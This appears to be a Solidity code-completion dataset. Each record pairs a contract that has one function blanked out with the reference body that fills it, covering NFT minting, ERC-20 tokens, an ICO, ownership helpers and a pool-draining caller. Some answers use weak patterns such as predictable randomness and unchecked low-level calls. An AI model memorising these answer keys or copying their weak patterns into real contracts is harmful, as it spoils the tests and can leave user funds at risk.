getOwnerINKsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) { require(_limit > 0); totalINKs = balanceOf(_owner); if (totalINKs > 0) { totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalINKs % _limit != 0) { _limit = totalINKs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalINKs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } ( , approveds, seeds, names) = getINKs(tokenIds); } function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance) {<FILL_FUNCTION_BODY> } function _mint() internal { require(totalSupply() < MAX_SUPPLY); uint256 _tokenId = info.totalSupply++; Token storage _newToken = info.list[_tokenId]; _newToken.owner = msg.sender; bytes32 _seed = keccak256(abi.encodePacked(_tokenId, msg.sender, blockhash(block.number - 1), gasleft())); _newToken.seed = _seed; uint256 _index = info.users[msg.sender].balance++; info.users[msg.sender].indexOf[_tokenId] = _index + 1; info.users[msg.sender].list[_index] = _tokenId; emit Transfer(address(0x0), msg.sender, _tokenId); emit Mint(msg.sender, _tokenId, _seed); } function _transfer(address _from, address _to, uint256 _tokenId) internal { address _owner = ownerOf(_tokenId); address _approved = getApproved(_tokenId); require(_from == _owner); require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender)); info.list[_tokenId].owner = _to; if (_approved != address(0x0)) { info.list[_tokenId].approved = address(0x0); emit Approval(address(0x0), address(0x0), _tokenId); } uint256 _index = info.users[_from].indexOf[_tokenId] - 1; uint256 _moved = info.users[_from].list[info.users[_from].balance - 1]; info.users[_from].list[_index] = _moved; info.users[_from].indexOf[_moved] = _index + 1; info.users[_from].balance--; delete info.users[_from].indexOf[_tokenId]; uint256 _newIndex = info.users[_to].balance++; info.users[_to].indexOf[_tokenId] = _newIndex + 1; info.users[_to].list[_newIndex] = _tokenId; emit Transfer(_from, _to, _tokenId); } function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) { if (bytes(_in).length == 0) { return 0x0; } assembly { out := mload(add(_in, 32)) } } }
contract ProjectINK { uint256 constant public MAX_NAME_LENGTH = 32; uint256 constant public MAX_SUPPLY = 1921; uint256 constant public MINT_COST = 0.05 ether; struct User { uint256 balance; mapping(uint256 => uint256) list; mapping(address => bool) approved; mapping(uint256 => uint256) indexOf; } struct Token { address owner; address approved; bytes32 seed; string name; } struct Info { uint256 totalSupply; mapping(uint256 => Token) list; mapping(address => User) users; Metadata metadata; address owner; } Info private info; mapping(bytes4 => bool) public supportsInterface; event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); event ApprovalForAll(address indexed owner, address indexed operator, bool approved); event Mint(address indexed owner, uint256 indexed tokenId, bytes32 seed); event Rename(address indexed owner, uint256 indexed tokenId, string name); modifier _onlyOwner() { require(msg.sender == owner()); _; } constructor() { info.metadata = new Metadata(); info.owner = msg.sender; supportsInterface[0x01ffc9a7] = true; // ERC-165 supportsInterface[0x80ac58cd] = true; // ERC-721 supportsInterface[0x5b5e139f] = true; // Metadata supportsInterface[0x780e9d63] = true; // Enumerable for (uint256 i = 0; i < 10; i++) { _mint(); } } function setOwner(address _owner) external _onlyOwner { info.owner = _owner; } function setMetadata(Metadata _metadata) external _onlyOwner { info.metadata = _metadata; } function ownerWithdraw() external _onlyOwner { uint256 _balance = address(this).balance; require(_balance > 0); payable(msg.sender).transfer(_balance); } receive() external payable { mintMany(msg.value / MINT_COST); } function mint() external payable { mintMany(1); } function mintMany(uint256 _tokens) public payable { require(_tokens > 0); uint256 _cost = _tokens * MINT_COST; require(msg.value >= _cost); for (uint256 i = 0; i < _tokens; i++) { _mint(); } if (msg.value > _cost) { payable(msg.sender).transfer(msg.value - _cost); } } function rename(uint256 _tokenId, string calldata _newName) external { require(bytes(_newName).length <= MAX_NAME_LENGTH); require(msg.sender == ownerOf(_tokenId)); info.list[_tokenId].name = _newName; emit Rename(msg.sender, _tokenId, _newName); } function approve(address _approved, uint256 _tokenId) external { require(msg.sender == ownerOf(_tokenId)); info.list[_tokenId].approved = _approved; emit Approval(msg.sender, _approved, _tokenId); } function setApprovalForAll(address _operator, bool _approved) external { info.users[msg.sender].approved[_operator] = _approved; emit ApprovalForAll(msg.sender, _operator, _approved); } function transferFrom(address _from, address _to, uint256 _tokenId) external { _transfer(_from, _to, _tokenId); } function safeTransferFrom(address _from, address _to, uint256 _tokenId) external { safeTransferFrom(_from, _to, _tokenId, ""); } function safeTransferFrom(address _from, address _to, uint256 _tokenId, bytes memory _data) public { _transfer(_from, _to, _tokenId); uint32 _size; assembly { _size := extcodesize(_to) } if (_size > 0) { require(Receiver(_to).onERC721Received(msg.sender, _from, _tokenId, _data) == 0x150b7a02); } } function name() external view returns (string memory) { return info.metadata.name(); } function symbol() external view returns (string memory) { return info.metadata.symbol(); } function contractURI() external view returns (string memory) { return info.metadata.contractURI(); } function baseTokenURI() external view returns (string memory) { return info.metadata.baseTokenURI(); } function tokenURI(uint256 _tokenId) external view returns (string memory) { return info.metadata.tokenURI(_tokenId); } function owner() public view returns (address) { return info.owner; } function totalSupply() public view returns (uint256) { return info.totalSupply; } function balanceOf(address _owner) public view returns (uint256) { return info.users[_owner].balance; } function ownerOf(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].owner; } function getApproved(uint256 _tokenId) public view returns (address) { require(_tokenId < totalSupply()); return info.list[_tokenId].approved; } function isApprovedForAll(address _owner, address _operator) public view returns (bool) { return info.users[_owner].approved[_operator]; } function getSeed(uint256 _tokenId) public view returns (bytes32) { require(_tokenId < totalSupply()); return info.list[_tokenId].seed; } function getName(uint256 _tokenId) public view returns (string memory) { require(_tokenId < totalSupply()); return info.list[_tokenId].name; } function tokenByIndex(uint256 _index) public view returns (uint256) { require(_index < totalSupply()); return _index; } function tokenOfOwnerByIndex(address _owner, uint256 _index) public view returns (uint256) { require(_index < balanceOf(_owner)); return info.users[_owner].list[_index]; } function getINK(uint256 _tokenId) public view returns (address tokenOwner, address approved, bytes32 seed, string memory tokenName) { return (ownerOf(_tokenId), getApproved(_tokenId), getSeed(_tokenId), getName(_tokenId)); } function getINKs(uint256[] memory _tokenIds) public view returns (address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names) { uint256 _length = _tokenIds.length; owners = new address[](_length); approveds = new address[](_length); seeds = new bytes32[](_length); names = new bytes32[](_length); for (uint256 i = 0; i < _length; i++) { string memory _name; (owners[i], approveds[i], seeds[i], _name) = getINK(_tokenIds[i]); names[i] = _stringToBytes32(_name); } } function getINKsTable(uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory owners, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) { require(_limit > 0); totalINKs = totalSupply(); if (totalINKs > 0) { totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalINKs % _limit != 0) { _limit = totalINKs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenByIndex(_isAsc ? _offset + i : totalINKs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } (owners, approveds, seeds, names) = getINKs(tokenIds); } function getOwnerINKsTable(address _owner, uint256 _limit, uint256 _page, bool _isAsc) public view returns (uint256[] memory tokenIds, address[] memory approveds, bytes32[] memory seeds, bytes32[] memory names, uint256 totalINKs, uint256 totalPages) { require(_limit > 0); totalINKs = balanceOf(_owner); if (totalINKs > 0) { totalPages = (totalINKs / _limit) + (totalINKs % _limit == 0 ? 0 : 1); require(_page < totalPages); uint256 _offset = _limit * _page; if (_page == totalPages - 1 && totalINKs % _limit != 0) { _limit = totalINKs % _limit; } tokenIds = new uint256[](_limit); for (uint256 i = 0; i < _limit; i++) { tokenIds[i] = tokenOfOwnerByIndex(_owner, _isAsc ? _offset + i : totalINKs - _offset - i - 1); } } else { totalPages = 0; tokenIds = new uint256[](0); } ( , approveds, seeds, names) = getINKs(tokenIds); } <FILL_FUNCTION> function _mint() internal { require(totalSupply() < MAX_SUPPLY); uint256 _tokenId = info.totalSupply++; Token storage _newToken = info.list[_tokenId]; _newToken.owner = msg.sender; bytes32 _seed = keccak256(abi.encodePacked(_tokenId, msg.sender, blockhash(block.number - 1), gasleft())); _newToken.seed = _seed; uint256 _index = info.users[msg.sender].balance++; info.users[msg.sender].indexOf[_tokenId] = _index + 1; info.users[msg.sender].list[_index] = _tokenId; emit Transfer(address(0x0), msg.sender, _tokenId); emit Mint(msg.sender, _tokenId, _seed); } function _transfer(address _from, address _to, uint256 _tokenId) internal { address _owner = ownerOf(_tokenId); address _approved = getApproved(_tokenId); require(_from == _owner); require(msg.sender == _owner || msg.sender == _approved || isApprovedForAll(_owner, msg.sender)); info.list[_tokenId].owner = _to; if (_approved != address(0x0)) { info.list[_tokenId].approved = address(0x0); emit Approval(address(0x0), address(0x0), _tokenId); } uint256 _index = info.users[_from].indexOf[_tokenId] - 1; uint256 _moved = info.users[_from].list[info.users[_from].balance - 1]; info.users[_from].list[_index] = _moved; info.users[_from].indexOf[_moved] = _index + 1; info.users[_from].balance--; delete info.users[_from].indexOf[_tokenId]; uint256 _newIndex = info.users[_to].balance++; info.users[_to].indexOf[_tokenId] = _newIndex + 1; info.users[_to].list[_newIndex] = _tokenId; emit Transfer(_from, _to, _tokenId); } function _stringToBytes32(string memory _in) internal pure returns (bytes32 out) { if (bytes(_in).length == 0) { return 0x0; } assembly { out := mload(add(_in, 32)) } } }
return (totalSupply(), balanceOf(_owner));
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance)
function allInfoFor(address _owner) external view returns (uint256 supply, uint256 ownerBalance)
4311
Drain
drainPools
contract Drain is ChiGasSaver { function drainPools(uint[] calldata _pools) public saveGas(msg.sender) {<FILL_FUNCTION_BODY> } }
contract Drain is ChiGasSaver { <FILL_FUNCTION> }
for (uint i = 0; i < _pools.length; i++) { 0xD12d68Fd52b54908547ebC2Cd77Ec6EbbEfd3099.call( abi.encodeWithSelector( bytes4( keccak256("drain(uint256)")), _pools[i])); }
function drainPools(uint[] calldata _pools) public saveGas(msg.sender)
function drainPools(uint[] calldata _pools) public saveGas(msg.sender)
49313
CRVToken
approveAndCall
contract CRVToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES // //make sure this function name matches the contract name above. So if you’re token is called UselessToken, make sure the //contract name above is also UselessToken instead of ERC20Token function CRVToken ( ) { balances[msg.sender] = 1000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000; // Update total supply (100000 for example) name = "Crypto Ventures Token"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "CRV"; // Set the symbol for display purposes } /* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success) {<FILL_FUNCTION_BODY> } }
contract CRVToken is StandardToken { function () { //if ether is sent to this address, send it back. throw; } /* Public variables of the token */ /* NOTE: The following variables are OPTIONAL vanities. One does not have to include them. They allow one to customise the token contract & in no way influences the core functionality. Some wallets/interfaces might not even bother to look at this information. */ string public name; //fancy name: eg Simon Bucks uint8 public decimals; //How many decimals to show. ie. There could 1000 base units with 3 decimals. Meaning 0.980 SBX = 980 base units. It’s like comparing 1 wei to 1 ether. string public symbol; //An identifier: eg SBX string public version = 'H1.0'; //human 0.1 standard. Just an arbitrary versioning scheme. // // CHANGE THESE VALUES // //make sure this function name matches the contract name above. So if you’re token is called UselessToken, make sure the //contract name above is also UselessToken instead of ERC20Token function CRVToken ( ) { balances[msg.sender] = 1000000000; // Give the creator all initial tokens (100000 for example) totalSupply = 1000000000; // Update total supply (100000 for example) name = "Crypto Ventures Token"; // Set the name for display purposes decimals = 0; // Amount of decimals for display purposes symbol = "CRV"; // Set the symbol for display purposes } <FILL_FUNCTION> }
allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); //call the receiveApproval function on the contract you want to be notified. This crafts the function signature manually so one doesn’t have to include a contract in here just for this. //receiveApproval(address _from, uint256 _value, address _tokenContract, bytes _extraData) //it is assumed that when does this that the call *should* succeed, otherwise one would use vanilla approve instead. if(!_spender.call(bytes4(bytes32(sha3("receiveApproval(address,uint256,address,bytes)"))), msg.sender, _value, this, _extraData)) { throw; } return true;
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
/* Approves and then calls the receiving contract */ function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success)
87594
Ownable
transferOwnership
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner {<FILL_FUNCTION_BODY> } /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } }
contract Ownable { address public owner; event OwnershipRenounced(address indexed previousOwner); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } <FILL_FUNCTION> /** * @dev Allows the current owner to relinquish control of the contract. */ function renounceOwnership() public onlyOwner { emit OwnershipRenounced(owner); owner = address(0); } }
require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner;
function transferOwnership(address newOwner) public onlyOwner
/** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner
69858
SnbtokenICO
transfer
contract SnbtokenICO is ERC20, SafeMath{ mapping(address => uint256) balances; uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) returns (bool success){<FILL_FUNCTION_BODY> } mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool success){ var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } uint256 public endTime; uint256 public price; modifier during_offering_time(){ if(now>1513911600) { price = 2231; } else if(now>1513306800) { price = 2491; } else if(now>1512702000) { price = 2708; } else if(now>1512025200) { price = 3032; } else if(now>1511589600) ///1511589600 ///1511938800 { price = 3249; } else { price = 500; } if (now >= endTime){ throw; }else{ _; } } function () payable during_offering_time { createTokens(msg.sender); } function createTokens(address recipient) payable { if (msg.value == 0) { throw; } uint tokens = safeDiv(safeMul(msg.value, price), 1 ether); totalSupply = safeAdd(totalSupply, tokens); balances[recipient] = safeAdd(balances[recipient], tokens); if (!owner.send(msg.value)) { throw; } } string public name = "SNB - Network for the Blind"; string public symbol = "SNB"; uint public decimals = 0; uint256 public INITIAL_SUPPLY = 70000000; uint256 public SALES_SUPPLY = 130000000; address public owner; function SnbtokenICO() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; owner = msg.sender; price = 500; endTime = 1514617200; } }
contract SnbtokenICO is ERC20, SafeMath{ mapping(address => uint256) balances; uint256 public totalSupply; function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } <FILL_FUNCTION> mapping (address => mapping (address => uint256)) allowed; function transferFrom(address _from, address _to, uint256 _value) returns (bool success){ var _allowance = allowed[_from][msg.sender]; balances[_to] = safeAdd(balances[_to], _value); balances[_from] = safeSub(balances[_from], _value); allowed[_from][msg.sender] = safeSub(_allowance, _value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) returns (bool success) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } uint256 public endTime; uint256 public price; modifier during_offering_time(){ if(now>1513911600) { price = 2231; } else if(now>1513306800) { price = 2491; } else if(now>1512702000) { price = 2708; } else if(now>1512025200) { price = 3032; } else if(now>1511589600) ///1511589600 ///1511938800 { price = 3249; } else { price = 500; } if (now >= endTime){ throw; }else{ _; } } function () payable during_offering_time { createTokens(msg.sender); } function createTokens(address recipient) payable { if (msg.value == 0) { throw; } uint tokens = safeDiv(safeMul(msg.value, price), 1 ether); totalSupply = safeAdd(totalSupply, tokens); balances[recipient] = safeAdd(balances[recipient], tokens); if (!owner.send(msg.value)) { throw; } } string public name = "SNB - Network for the Blind"; string public symbol = "SNB"; uint public decimals = 0; uint256 public INITIAL_SUPPLY = 70000000; uint256 public SALES_SUPPLY = 130000000; address public owner; function SnbtokenICO() { totalSupply = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; owner = msg.sender; price = 500; endTime = 1514617200; } }
balances[msg.sender] = safeSub(balances[msg.sender], _value); balances[_to] = safeAdd(balances[_to], _value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) returns (bool success)
function transfer(address _to, uint256 _value) returns (bool success)
5126
StandardToken
approve
contract StandardToken is ERC20, AdminBasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_addedValue !=0 && allowed[msg.sender][_spender] > 0); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_subtractedValue !=0 && allowed[msg.sender][_spender] > 0); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, AdminBasicToken { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= allowed[_from][msg.sender]); // Check allowance allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { require(_addedValue !=0 && allowed[msg.sender][_spender] > 0); allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { require(_subtractedValue !=0 && allowed[msg.sender][_spender] > 0); uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
// To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) public returns (bool success)
/** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool success)
49888
MultiOwners
revoke
contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; constructor() public { owners[msg.sender] = true; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() view public returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) view public returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) public onlyOwner { owners[_owner] = true; emit AccessGrant(_owner); } function revoke(address _owner) public onlyOwner {<FILL_FUNCTION_BODY> } }
contract MultiOwners { event AccessGrant(address indexed owner); event AccessRevoke(address indexed owner); mapping(address => bool) owners; constructor() public { owners[msg.sender] = true; } modifier onlyOwner() { require(owners[msg.sender] == true); _; } function isOwner() view public returns (bool) { return owners[msg.sender] ? true : false; } function checkOwner(address maybe_owner) view public returns (bool) { return owners[maybe_owner] ? true : false; } function grant(address _owner) public onlyOwner { owners[_owner] = true; emit AccessGrant(_owner); } <FILL_FUNCTION> }
require(msg.sender != _owner); owners[_owner] = false; emit AccessRevoke(_owner);
function revoke(address _owner) public onlyOwner
function revoke(address _owner) public onlyOwner
44214
XFCToken
null
contract XFCToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
contract XFCToken is ERC20Interface, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; <FILL_FUNCTION> // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); emit Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true; } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } }
symbol = "XFC"; name = "XFC Fan Token"; decimals = 0; _totalSupply = 20000000; balances[0x4D11c5A0169d22E4d660b41522Fad58055d5C214] = _totalSupply; emit Transfer(address(0), 0x4D11c5A0169d22E4d660b41522Fad58055d5C214, _totalSupply);
constructor() public
// ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ constructor() public
4299
YukiToken
swapTokensForEth
